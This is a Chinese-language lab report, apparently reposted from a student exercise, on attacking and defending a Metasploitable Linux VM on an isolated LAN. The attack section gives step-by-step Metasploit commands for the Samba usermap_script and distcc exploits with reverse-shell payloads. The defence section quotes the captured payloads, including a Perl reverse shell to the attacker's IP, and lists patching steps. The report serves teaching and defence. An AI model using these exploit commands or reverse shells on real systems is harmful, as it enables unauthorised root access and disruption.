linux操作系統安全防護


Linux系統攻防對抗實踐

一、實踐內容

  • 在Metasploit滲透攻擊框架軟件中尋找一個針對Linux系統服務的滲透攻擊模塊,在網絡安全攻防實驗環境中部署有漏洞的環境(如滲透利用第三方網絡服務,需要找到並安裝存在特定漏洞的版本),並使用metasploit進行攻擊。

  • 攻擊方使用Metasploit滲透軟件針對Linux Metasploitable靶機實施網絡攻擊,防御方則在Metasploitatble上使用Tcpdump或Wireshark或Snort工具捕獲攻擊流,並分析出攻擊者利用了哪個安全漏洞進行攻擊,從官方網站上下載該安全漏洞補丁進行系統修補,雙方合作給出攻防過程報告。

二、實驗環境

  • 為了完成本次實驗,我們部署了如下的實驗環境。
  • 攻守雙方使用兩台筆記本電腦,並將它們直連成為一個局域網。在攻守雙方的筆記本電腦上部署Vmware Workstation軟件,並分別建立攻擊機、掃描機和防守機。其中攻方使用BackTrack4系統,並輔助使用WinXPattacker進行掃 描;守方使用Ubuntu 8.04-Metasploitable系統。
  • 如下圖,三台虛擬機使用Bridge方式聯網,攻擊機IP地址192.168.200.10,掃描機IP地址192.168.200.2;防守機IP地址192.168.200.11。

三、攻防實踐過程

  • 攻守雙方首先將虛擬機啟動起來,配置好網絡環境並測試網絡通暢后,攻守雙發分別進行接下來的操作。

攻方過程

漏洞掃描及結果分析

  • 為了確認防守方系統漏洞,攻方在掃描機上使用X-Scan3.3對防守機進行了一次全面漏洞掃描。

  • 其中防守機開啟的服務和具體的漏洞如下,

  • 查看詳細的掃描報告,可以得知該主機很多重要信息,
    • a) 從139端口可以獲取該系統主機名為“METASPLOITABLE”,注釋“metasploitable server (Samba 3.0.20-Debian)”;
    • b) 主機系統中存在許多用戶,共35個,其中被禁止的33個,存活使用用戶user、msfadmin;
    • c) 系統存在弱口令,用戶user、msfadmin密碼與用戶名一樣,使用net use命令能夠建立連接查看共享資源。ftp開放版本信息 ProFTPD 1.3.1 Server (Debian),user這個用戶在ftp中也可以使用;
    • d) telnet服務開放,可確定該系統為Ubuntu 8.04,用戶user、msfadmin可以登錄,並獲得相應權限。如果不存在弱口令,通過截獲該telnet數據也能獲取用戶口令。

攻擊方式選擇

  • 根據上面的分析結果,最簡單的攻擊方式就是通過telnet使用user或msfadmin用戶登錄即可,但這樣的攻擊並不是我們的實驗目的,因此我們暫時忽略系統弱口令的問題,通過第三方軟件的漏洞獲取系統的控制權。

從上面的漏洞掃描可以看出,防守機的漏洞很多,我們可以使用SMB漏洞、distcc漏洞等進行攻擊。因為SMB是Samba軟件的服務,而Samba服 務是運行在root權限下,所以一旦攻擊成功,將獲得權限為root的shell。我們本次實驗主要使用SMB漏洞進行攻擊,並嘗試使用distcc漏洞。

攻擊入侵

  • 完成了以上的分析,我們終於進入了今天的重頭戲,攻擊環節。
  • 在命令行窗口輸入命令
  • msfconsole
  • 將開啟我們要使用的攻擊工具:metasploit,如下圖,

  • 首先,我們使用SMB漏洞對防御機進行攻擊,並設定payload為reverse(在沒有防火牆的情況下,選擇任意的shell payload都是可以的,本實驗的payload是任意選取的),依次輸入如下命令,使用SMB漏洞對防守機進行攻擊,

use exploit/multi/samba/usermap_script
set payload cmd/unix/reverse
set rhost 192.168.200.11
set lhost 192.168.200.10
exploit

  • 如下圖,攻擊后成功的獲得了一個root權限的shell,攻擊成功!

  • 斷開當前的連接,依次輸入如下命令,使用distcc漏洞進行攻擊。

back
use exploit/unix/misc/distcc_exec
set payload cmd/unix/reverse_perl
set rhost 192.168.200.11
set lhost 192.168.200.10
exploit

如下圖,攻擊成功后出現一個可以使用的shell,但是沒有root權限。

但繼續輸入命令時卻沒有反應,后證實是被防守方人為中斷了。
為了使用更高權限的命令,我們需要root權限的shell。因此再次使用SMB漏洞進行攻擊。在命令行下輸入如下命令,

back
use exploit/multi/samba/usermap_script
set payload cmd/unix/reverse
set rhost 192.168.200.11
set lhost 192.168.200.10
exploit

  • 然后在獲得的shell中輸入reboot命令,如下圖,

  • 這時,防守機系統重啟了,攻擊成功!

守方過程

  • 防守機上觀察到的攻擊跡象
  • 在防守機啟動之后,立即使用如下命令抓取系統接收和發送的報文,並將結果保存到result.cap文件中。

sudo tcpdump –s 00 –w result.cap &

  • 然后等待一段時間后,使用如下命令查看系統進程,

ps –e | more

  • 發現數個可疑的telnet進程,后來證實其為攻擊時使用的shell。如下圖,

  • 果斷將telnet進程殺掉。但隨后不久,收到一個來自用戶root的消息,機器便重啟了……

報文分析

  • 為了弄清楚重啟的真正原因。當機器重啟之后,果斷斷網。導出抓取的報文文件,並使用wireshark進行分析。
  • 簡單的查看抓取到的報文,在短短的30分鍾內,一共有128768個報文。如此巨量的報文中,絕大多數報文都是成片的同一種協議的報文,如下圖,

因此可以斷定,攻擊機正在進行掃描,而真正的攻擊應該在最后。從后向前查看報文內容發現,倒數第二條報文是一個TCP數據包,其中報文的內容是正是reboot!可以斷定正是這條命令導致了系統重啟。

經過對報文仔細的分析,可以確定的攻擊有三次,分別如下圖所示,其中攻擊的漏洞和攜帶的攻擊腳本分別為,

漏洞名稱 相關網址 攻擊腳本 執行的命令
SMB漏洞 CVE-2007-2447 http://www.samba.org/samba/security/CVE-2007-2447.html nohup sh -c ‘(sleep 4495 telnet 192.168.200.10 4444
Distcc漏洞 CVE-2004-2687 http://cve.mitre.org/cgi-bin/cvename.cgi?name=2004-2687 perl -MIO -e ‘$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,”192.168.200.10:4444”);STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;’ idusers
同第一個 同第一個 同第一個 idreboot

漏洞修補

  • 由於防守機是ubuntu系統,所以很容易將軟件升級到最新版本。在命令行執行如下命令,

sudo apt-get update
sudo apt-get install samba

  • 或者將相應的服務禁掉,

sudo /etc/init.d/samba stop
sudo /etc/init.d/distcc stop

  • 但是升級distcc時會提示沒有更新的版本,到其官網上下載最新版本,卸載舊版本並安裝后可以修補漏洞。

四、攻防實踐總結

實踐中遇到問題和總結的經驗,

  • 攻方
    • a) 漏洞選擇,因為有文檔指出Metasploitable靶機存在的漏洞,所以在這個方向上可以減少攻擊過程中嘗試的漏洞;
    • b) 如果獲得的shell權限不是root級別的,需要繼續使用本地溢出進行提權,本人對這些漏洞信息掌握很少。
  • 守方
    • a) 抓取的報文數量巨大,從中找出有用的信息比較困難。
    • b) 從攻擊的過程中推測被利用的漏洞必須具備相當的背景知識,並且需要熟練運用搜索引擎和官方網站。


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM